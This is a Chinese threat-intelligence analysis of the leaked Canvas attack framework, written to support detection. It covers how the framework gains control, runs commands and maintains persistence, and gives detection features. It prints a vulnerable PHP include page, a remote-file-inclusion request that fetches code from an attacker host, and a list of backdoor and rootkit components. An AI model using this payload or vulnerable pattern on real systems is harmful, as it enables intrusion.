浅析 canvas 框架及相关检测思路

admin 2021年3月9日00:43:50评论263 views字数 4816阅读16分3秒阅读模式

1

框架概要


近期泄露的 canvas 框架无疑在业内又引起了一阵轩然大波,从泄露的代码来看,该框架覆盖了一次渗透攻击过程的绝大部分阶段,其整体的工作流程如下:

浅析 canvas 框架及相关检测思路

图1. canvas 框架工作流程


  1. 框架启动后通过 canvasengine 中的 registerModule 函数注册相关模块,同时根据用户设定的 IP 及接口信息启动对应的 listener,listener 对应的 handler 为 handleNewListenerConnection 函数。

  2. 选定攻击模块,并根据攻击者设定的参数信息动态生成 shellocde。
  3. 在攻击者完成攻击第一次回连时,传回相应的 mosdeftype 和 id,接着通过步骤1中提及的 handleNewListenerConnection 函数调用 new_node_connection 对回连的消息进行处理,new_node_connection 函数根据不同的 mosdeftype 创建响应的 node 和 server/listener 对象,listener 对象的主要工作是动态生成各类功能 shellcode 发送给受控端,受控端接收并执行这些 shellcode 代码,node 和 server 对象主要则是封装 listener 对象提供的基础函数,直接向用户提供复杂的控制端功能,如创建进程/创建服务/ 上传下载文件等。
  4. 在获得目标机器的稳定控制权后,攻击者通常向目标机器种植木马以维持控制,在 canvas 中,木马的生成主要是以特定功能的 shellcode 模板为基础进行动态生成的,生成木马的代码主要位于 exploits/trojan 目录下,shellcode 模板主要是在 shellcodestandalonewindowspayloads 文件中。
  5. 接下来,笔者将按攻击阶段对该框架进行简要分析,并提出检测建议,希望能在此特殊时期给大家些许帮助。



2

简要分析


1. 获取控制权

Canvas 中主要包括3种手法获取目标机器控制权的手法:1) rce漏洞;2) web漏洞;3) 客户端软件漏洞,相应的目录分别对应:exploits/remote、exploits/web、exploits/clientside,下面逐个进行分析。


1.1 RCE 漏洞

该部分以 ETERNALBULE 漏洞为例,利用代码位于 /exploits/remote/windows/ETERNALBULE/ETERNALBULE.py,攻击开始后,利用代码会从 shellcode 模板文件 --/exploits/remote/windows/ETERNALBULE/canvas.yaml 选择合适的 shellcode 生成完整的攻击 payload,在攻击成功完成后,被控主机会向控制端发送两次4字节消息,那么这4个字节的意义是什么呢?这4个字节消息是由 canvasengine 模块的 new_node_connection 函数进行处理,在初始时 mosdeftype 都为 UNIVERSAL_MOSDEF,之后就会根据受控端发送过来的4字节设置新的 mosdeftype 和 shellid,其中第一次发送的4字节代表 mosdeftype,第二次则代表 shellid(该部分解析代码由 universal_mosdef_loader 函数完成):

浅析 canvas 框架及相关检测思路

图2. mosdeftype 字段解析


接下来,系统则根据不同的 mosdeftype 的值选择不同的 shellnode 和 shellserver,对应于该漏洞,两个值分别是 win64node.py 和 win64.py,win64shell 的用途时将各类基本命令生成 shellcode 发送给受控端,受控端在接收 shellcode 后会申请可执行的内存空间存储并执行该部分 shellocde,win64node 的用途则主要将 win64 提供的基础函数封装成提供给攻击者使用。


1.2 Web 漏洞

在 Web 漏洞方面,canvas 包含了一个简单的文件包含漏洞的利用实例,利用代码位于 exploits/web/php_includetest.py,为了搭建分析测试环境,我们需要构建这样一个存在文件包含漏洞的页面,文件名为:includetest.php,文件内容:<?php $page = $_GET['page']; include($page);?>,同时要设置 allow_url_include 为 On,在攻击开始后,利用代码先调用 php_includetest.py 中的 test 函数获取目标路径信息,接着通过 run 函数发送 payload: /includetest.php?page=http://192.168.70.153.:80/test.php,test.php 内容是由 phplistener.py 中的 get_php_stage1 所产生的,较为重要的一部分内容如下:
浅析 canvas 框架及相关检测思路
图3. php stage1 shellcode 生成

可以看到其实流程和 RCE 类漏洞类似,在发送完 mosdef_type 和 mosdef_id 给控制端后,等待接收并执行控制端发送过来的 php 代码。

1.3 客户端软件漏洞

该部分我们以 MS15-020 的利用代码为例,该部分利用代码位于 exploits/clientside/windows/lnk_exec.py。该部分除了提供必要的 http 服务外,主要是用于生成 lnk 文件和恶意 dll 文件,整体流程和前述两种并无太大差异。


1.4 总结

可以看出,canvas 为了获取目标机器的稳定控制权分了两个步骤:1) 利用漏洞获得目标机器控制权,向控制端回连,传回对应的 mosdeftype 和 id,同时等待执行接收的指令;2) 这时开始传输 stage2 的 shellcode,此时的 shellcode 的主要功能是循环等待控制端的指令。


那么对于这个攻击阶段,我们的检测点主要可以包括如下几部分:

1) 回连端口,这当然是最简单明显的特征,默认情况下回连端口为 5555,该端口可以通过 canvas.conf 进行配置。

2) 每个漏洞的利用代码,主要位于 exploits 目录下,这显然是最准确的特征,但这需要逐个分析 exploit,整体所需时间较长。

3) 检测 stage1 和 stage2 的 shellocde,canvas 通过模板文件和内置编译引擎的方式构建了一套动态生成 shellcode 的框架,那么这些 shellocde 模板文件便能直接作为我们检测特征,该部分代码主要位于 shellcode 目录下。

4) 回传的 mosdeftype 和 id,其中 mosdeftype 的值是明确的一个列表,而 id 则是逐渐递增,这两个也能作为较弱的特征辅助检测。


2. 执行指令

在 canvas 框架中,所有的后门指令都是通过动态生成恶意代码,然后发送至受控端,再由受控段执行的,动态生成恶意代码的工作主要由相关节点的 shell 对象 /listener 对象完成。如,javanode 由 javalistener 完成:
浅析 canvas 框架及相关检测思路
图4. java 指令 shellcode 生成

phpnode 由 phplistener 完成:

浅析 canvas 框架及相关检测思路
图5. php 指令 shellcode 生成

win64node 则由 win64 完成:

浅析 canvas 框架及相关检测思路
图6. PE 类指令 shellcode 生成

那么很明显,这个阶段的检测对于脚本类 node 直接从相关的 listener 文件中提取即可,而非脚本类则相对复杂一些,需要调用 canvas 内置的编译引擎编译恶意代码后再提取相关特征。

3. 权限维持

canvas 提供的主要权限维持手段是:1) 支持各类协议上线木马动态生成;2) 以服务的方式将后门驻留在目标系统中。木马生成相关代码主要是在 exploits/trojan 目录中,该部分功能主要逻辑则是将相关功能的 shellocode 模块(位于 shellcodestandalonewindows 目录中)修改后,注入到 PE 文件中,随后生成该文件。trojan 目录各组件的描述如下:

BuildCallbackTrojan

后门程序,TCP 协议通信

BuildDNSCallback

后门程序,DNS 协议通信

BuildHTTPCallback

后门程序,http 协议通信

BuildMOSDEFDLL

DLL 形式的后门组件

BuildPowershellCallback

Powershell 后门

BuildWARCallbackTrojan

WAR 文件,打包 Windows 和 Linux 平台的 MOSDEF 木马,确定系统后执行相应版本的后门程序。

connecttoservice

用于 TCP 连接远程 MOSDEF 服务

inject_mosdef

用于进程注入劫持代码至 mosdef 服务的插件

installmosdefservice

服务安装驻留,socket 监听,具备 shellcode 执行功能。

installremotemosdefservice

服务安装驻留,SMB 监听,具备文件数据上传功能。

linrootkitinject

Linux 平台 rootkit,用于内核代码注入。

loadlinrootkit

Windows 平台 rootkit,用于内核代码注入。

ram_dumper

内存 dump 插件。

thunderbird_backdoor_deployer

Thunderbird 后门,支持邮件收发,下载执行。

thunderbird_backdoor_manager

同上。

wmi_persistence

使用 WMI 事件机制完成持久化的插件。


整体而言并没有太大的技术亮点,同样利用服务进行后门驻留的方式并没有什么特别之处,也是常见的创建系统服务流程,对应的服务文件是 backdoors/mosdefservice.exe,我们简单看一下其执行流程:

浅析 canvas 框架及相关检测思路
图7. 服务后门分析(1)

如上图,该模块为一个以服务方式运行的监听模块,根据参数监听主机 IP 和端口,接下来接收 Shellcode 并执行:

浅析 canvas 框架及相关检测思路
图8. 服务后门分析(2)

很显然,对于这个阶段的检测工作主要是各后门的模板文件,及 shellcode 模板文件。


3

总结


整体而言,该部分框架最大亮点之处在于几个未公开 exp 漏洞的稳定利用代码,针对其检测工作也可以分为短期和中期两部分工作来做:短期较快能提取的特征则是各类 shellcode 模板,恶意代码模板,以及回连端口和流量特征;中期是需要逐个分析 exp 提取相关特征码。当前,我们的 TDP 产品已能覆盖大部分流量特征:

浅析 canvas 框架及相关检测思路
图9. HTTP MOSDEF PLAINTEXT

浅析 canvas 框架及相关检测思路
图10. JAVA MOSDEF

浅析 canvas 框架及相关检测思路
图11. canvas shellcode 传输

━ ━ ━ ━ ━

公众号内回复“CA”,可获取 PDF 版报告。



关于微步在线研究响应团队

微步情报局,即微步在线研究响应团队,负责微步在线安全分析与安全服务业务,主要研究内容包括威胁情报自动化研发、高级 APT 组织&黑产研究与追踪、恶意代码与自动化分析技术、重大事件应急响应等。


微步情报局由精通木马分析与取证技术、Web 攻击技术、溯源技术、大数据、AI 等安全技术的资深专家组成,并通过自动化情报生产系统、云沙箱、黑客画像系统、威胁狩猎系统、追踪溯源系统、威胁感知系统、大数据关联知识图谱等自主研发的系统,对微步在线每天新增的百万级样本文件、千万级 URL、PDNS、Whois 数据进行实时的自动化分析、同源分析及大数据关联分析。微步情报局自设立以来,累计率先发现了包括数十个境外高级 APT 组织针对我国关键基础设施和金融、能源、政府、高科技等行业的定向攻击行动,协助数百家各个行业头部客户处置了肆虐全球的 WannaCry 勒索事件、BlackTech 定向攻击我国证券和高科技事件、海莲花长期定向攻击我国海事/高科技/金融的攻击活动、OldFox 定向攻击全国上百家手机行业相关企业的事件。



内容转载与引用



1. 内容转载,请微信后台留言:转载+转载平台

2. 内容引用,请注明出处:以上内容引自公众号“微步在线研究响应中心”



浅析 canvas 框架及相关检测思路

微步在线

研究响应中心

-长按二维码关注我们-




本文始发于微信公众号(微步在线研究响应中心):浅析 canvas 框架及相关检测思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月9日00:43:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析 canvas 框架及相关检测思路https://cn-sec.com/archives/284610.html

发表评论

匿名网友 填写信息